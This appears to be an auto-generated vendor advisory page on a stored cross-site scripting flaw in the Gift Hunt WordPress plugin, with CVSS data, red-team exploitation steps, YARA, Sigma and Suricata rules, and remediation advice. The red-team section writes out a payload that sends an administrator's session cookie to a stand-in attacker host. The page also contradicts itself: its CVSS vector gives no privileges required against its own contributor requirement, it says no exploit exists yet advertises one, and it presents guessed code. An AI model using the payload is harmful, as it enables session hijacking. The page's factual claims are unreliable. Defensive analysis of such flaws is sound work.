CVE-2025-67631
Executive Summary
CVE-2025-67631 is a Stored Cross-Site Scripting (XSS) vulnerability in the Gift Hunt plugin for WordPress-based ecommerce platforms. The vulnerability exists in versions up to and including 2.0.2, where user-supplied input is improperly neutralized during web page generation. An attacker with contributor-level access or higher can inject malicious JavaScript payloads that persist in the database and execute in the browsers of administrators or other users viewing the affected pages. This can lead to session hijacking, credential theft, or defacement. The vulnerability is currently unpatched, and no public exploit code is available.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository. Since no patch is available, users must rely on manual mitigation or removal of the plugin. The plugin is not distributed via NPM, PyPI, Go, or Ruby ecosystems.
CVSS Breakdown & Threat Level
- CVSS Score: 5.9 (Medium)
- Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
- Attack Vector: Network
- Attack Complexity: Low
- Privileges Required: None (but requires user interaction)
- User Interaction: Required
- Scope: Changed
- Confidentiality Impact: Low
- Integrity Impact: Low
- Availability Impact: None
Threat Level: Medium. The vulnerability requires user interaction (e.g., an admin viewing a page with the injected payload), but the stored nature increases persistence and potential for widespread impact.
Deep Dive & Mechanics
The vulnerability resides in the Gift Hunt plugin's handling of user-submitted data, likely in gift list creation or wishlist items. The plugin fails to sanitize or escape input before storing it in the database and later rendering it in the admin dashboard or frontend pages. This allows an attacker to inject arbitrary HTML and JavaScript.
Attack Flow:
- An authenticated user with contributor-level access submits a gift list item containing a malicious payload (e.g.,
<script>alert('XSS')</script>). - The plugin stores the payload in the WordPress database without sanitization.
- When an administrator or other user views the affected page (e.g., gift list management), the payload executes in their browser.
- The attacker can steal session cookies, perform actions on behalf of the victim, or deface the site.
Root Cause: Lack of output escaping and input validation in the plugin's rendering functions.
Vulnerable vs. Patched Code
Since no patch is available, we can only analyze the vulnerable code pattern. The vulnerable code likely looks like:
// Vulnerable code (gift-hunt.php)
echo "<div class='gift-item'>" . $gift_name . "</div>";
The patched version should use WordPress's escaping functions:
// Patched code
echo "<div class='gift-item'>" . esc_html( $gift_name ) . "</div>";
Exploitation & Lab Setup
Red Team
Prerequisites:
- WordPress instance with Gift Hunt plugin <= 2.0.2
- Contributor-level account or higher
Exploitation Steps:
- Log in as a contributor.
- Navigate to the gift list creation page.
- In the gift name field, inject a payload:
<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script> - Submit the form.
- Wait for an administrator to view the gift list page.
- The payload executes, sending the admin's session cookie to the attacker's server.
Note: No public exploit code is available. This is a conceptual demonstration.
Blue Team
Detection:
- Monitor for unusual script tags in gift list submissions.
- Use WAF rules to block common XSS patterns.
- Review WordPress logs for suspicious user activity.
Hunting:
- Search the database for stored XSS payloads:
SELECT * FROM wp_posts WHERE post_content LIKE '%<script>%'; - Check for unexpected outbound connections from the WordPress server.
Indicators of Compromise (IOCs)
- Network: Outbound HTTP requests to unknown domains containing cookie data.
- Host: Presence of
<script>tags in thewp_poststable or plugin-specific custom tables. - File: Modified plugin files (though unlikely for stored XSS).
- Logs: WordPress debug logs showing unescaped output errors.
Detection Engineering
YARA Rule
rule CVE_2025_67631_Stored_XSS {
meta:
description = "Detects stored XSS payloads in Gift Hunt plugin"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2025-67631"
strings:
$xss_payload = /<script[^>]*>.*?<\/script>/is
$gift_hunt_table = /wp_gift_hunt_items/i
condition:
$xss_payload and $gift_hunt_table
}
Sigma Rule
title: Stored XSS in Gift Hunt Plugin
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects stored XSS payloads in Gift Hunt plugin submissions
author: Valters IT
logsource:
category: webserver
product: wordpress
detection:
selection:
http.method: POST
http.url|contains: /wp-admin/admin-ajax.php
http.body|contains: action=gift_hunt_submit
http.body|contains|re: <script[^>]*>.*?</script>
condition: selection
falsepositives:
- Legitimate use of JavaScript in gift descriptions (unlikely)
level: high
Suricata Rule
alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-67631 Stored XSS Payload in Gift Hunt"; flow:to_server,established; content:"POST"; http_method; content:"/wp-admin/admin-ajax.php"; http_uri; content:"action=gift_hunt_submit"; http_client_body; pcre:"/<script[^>]*>.*?<\/script>/i"; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Disable the Gift Hunt plugin until a patch is released.
- Remove any malicious content from the database using a WordPress security plugin or manual SQL queries.
- Implement a Web Application Firewall (WAF) with rules to block XSS payloads.
Long-term Fix:
- The vendor must release a patched version that properly escapes output using
esc_html(),esc_attr(), orwp_kses_post(). - Until then, consider replacing the plugin with an alternative.
Detection:
- Enable WordPress debug logging to catch unescaped output.
- Monitor for unexpected admin actions or cookie theft.
Valters IT
Senior DevSecOps & Cyber Threat Intelligence Expert
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.